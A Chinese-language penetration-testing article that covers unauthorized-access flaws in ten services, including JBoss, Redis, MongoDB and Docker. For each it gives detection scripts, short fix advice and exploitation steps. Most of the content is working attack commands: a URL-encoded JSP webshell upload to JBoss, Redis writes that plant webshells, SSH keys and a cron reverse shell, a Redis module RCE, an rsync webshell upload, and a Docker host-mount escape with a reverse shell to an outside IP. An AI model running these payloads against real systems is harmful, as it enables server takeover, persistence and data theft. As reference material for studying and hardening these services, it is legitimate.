本文詳細地介紹了常見未授權訪問漏洞及其利用,具體漏洞列表如下:
-
Jboss 未授權訪問
-
Jenkins 未授權訪問
-
ldap未授權訪問
-
Redis未授權訪問
-
elasticsearch未授權訪問
-
MenCache未授權訪問
-
Mongodb未授權訪問
-
Rsync未授權訪問
-
Zookeeper未授權訪問
-
Docker未授權訪問
1、Jboss未授權訪問
漏洞原因:
在低版本中,默認可以訪問Jboss web控制台(http://127.0.0.1:8080/jmx-console),無需用戶名和密碼。
漏洞利用:
1、寫入一句話木馬:
http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
2、寫入1.txt文件
http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=hello world!
3、訪問1.txt文件
http://127.0.0.1:8080/August/1.txt
檢測工具:jexboss,一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測並利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,並且可以獲得一個shell。
修復建議:關閉jmx-console和web-console,提高安全性。
2、Jenkins 未授權訪問
漏洞原因:未設置密碼,導致未授權訪問。
漏洞測試:直接通過url訪問
http://<target>:8080/manage http://<target>:8080/script
修復建議:設置強口令密碼。
3、ldap未授權訪問
漏洞原因:沒有對Ldap進行密碼驗證,導致未授權訪問。
檢測腳本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ from ldap3 import Connection,Server,ALL def ldap_anonymous(ip): try: server = Server(ip,get_info=ALL,connect_timeout=1) conn = Connection(server, auto_bind=True) print "[+] ldap login for anonymous" conn.closed except: #pass print '[-] checking for ldap anonymous fail'
利用工具:使用LdapBrowser直接連入,獲取敏感信息。
修復建議:增加強密碼驗證。
4、Redis未授權訪問
漏洞利用:
姿勢一:絕對路徑寫webshell
我們可以將dir設置為一個目錄a,而dbfilename為文件名b,再執行save或bgsave,則我們就可以寫入一個路徑為a/b的任意文件:
config set dir /home/wwwroot/default/ config set dbfilename redis.php set webshell "<?php phpinfo(); ?>" save
姿勢二:公私鑰認證獲取root權限
1、ssh免密碼配置
ssh-keygen -t rsa -P '' #生成公鑰/私鑰對 cd /root/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt #將公鑰寫入 foo.txt 文件 連接 Redis 寫入文件
2、連接Redis寫入文件
cat foo.txt | ./redis-cli -h 192.168.125.140 -x set crackit ./redis-cli -h 192.168.125.140 config set dir /root/.ssh/ config get dir config set dbfilename "authorized_keys" save
利用私鑰成功登錄redis服務器
姿勢三:利用contrab計划任務反彈shell
config set dir /var/spool/cron/crontabs/ config set dbfilename root flushall set test "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1" save
姿勢四:主從復制RCE
在Reids 4.x之后,Redis新增了模塊功能,通過外部拓展,可以實現在Redis中實現一個新的Redis命令,通過寫C語言編譯並加載惡意的.so文件,達到代碼執行的目的。
通過腳本實現一鍵自動化getshell:
1、生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ make
2、攻擊端執行:python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so
git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp ../RedisModules-ExecuteCommand/src/module.so ./ pip install -r requirements.txt python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so
5、Elasticsearch未授權訪問
漏洞原因:Elasticsearch 默認端口為9200 ,攻擊者可以直接訪問http://ip:port。
檢測腳本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests def Elasticsearch_check(ip, port=9200, timeout=5): try: url = "http://"+ip+":"+str(port)+"/_cat" response = requests.get(url) except: pass if "/_cat/master" in response.content: print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)
漏洞測試:
http://localhost:9200/_cat/indices http://localhost:9200/_river/_search 查看數據庫敏感信息 http://localhost:9200/_nodes 查看節點數據 如有安裝head插件: http://localhost:9200/_plugin/head/ web管理界面
修復建議:
1、限制IP訪問,綁定固定IP
2、在config/elasticsearch.yml中為9200端口設置認證:
http.basic.enabled true #開關,開啟會接管全部HTTP連接
http.basic.user "admin" #賬號
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
6、MenCache未授權訪問
漏洞原因:Memcached 分布式緩存系統,默認的 11211 端口不需要密碼即可訪問,黑客直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。
檢測腳本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ def Memcache_check(ip, port=11211, timeout=5): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("stats\r\n") result = s.recv(1024) if "STAT version" in result: print '[+] Memcache Unauthorized: ' +ip+':'+str(port) except Exception, e: pass
漏洞驗證:
#無需用戶名密碼,可以直接連接memcache 服務的11211端口。 telnet x.x.x.x 11211 stats //查看memcache 服務狀態 stats items //查看所有items stats cachedump 32 0 //獲得緩存key get :state:264861539228401373:261588 //通過key讀取相應value ,獲得實際緩存內容,造成敏感信息泄露
修復建議:綁定的ip地址為 127.0.0.1,或者通過firewall限制訪問。
7、Mongodb未授權訪問
漏洞原因:MongoDB 默認是沒有權限驗證的,登錄的用戶可以通過默認端口無需密碼對數據庫任意操作(增刪改高危動作),而且可以遠程訪問數據庫。
檢測腳本:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ def mongodb(ip,port): try: client = MongoClient(ip,port) db=client.local flag = db.collection_names() if flag: print "[+] Mongodb login for anonymous" except Exception, e: pass
修復建議:增加用戶密碼權限驗證,設置本地監聽或者訪問控制。
8、Rsync未授權訪問
漏洞原因:未配置賬號密碼認證,導致未授權訪問。
漏洞測試:
列舉整個同步目錄或指定目錄: rsync 10.0.0.12 :: rsync 10.0.0.12 :: www / 下載文件或目錄到本地: rsync – avz 10.0.0.12 :: WWW/ /var/tmp rsync – avz 10.0.0.12 :: www/ /var/tmp 上傳本地文件到服務端: rsync -avz webshell 10.0.0.12 :: WWW /
修復建議:增加用戶密碼認證,設置訪問ip限制。
9、Zookeeper未授權訪問
漏洞原因:ZooKeeper默認開啟在2181端口,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感信息,包括系統名稱、Java環境。
漏洞測試:
echo envi|nc 192.168.15.74 2181
修復建議:添加用戶名密碼認證,設置ip訪問控制。
10、Docker未授權訪問
漏洞原因:docker remote api可以執行docker命令,docker守護進程監聽在0.0.0.0,可直接調用API來操作docker。
sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
漏洞利用:
通過docker daemon api 執行docker命令。
#列出容器信息,效果與docker ps一致。 curl http://<target>:2375/containers/json #啟動容器 docker -H tcp://<target>:2375 ps -a
1、新運行一個容器,掛載點設置為服務器的根目錄掛載至/mnt目錄下。
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
2、在容器內執行命令,將反彈shell的腳本寫入到/var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
3、本地監聽端口,獲取對方宿主機shell。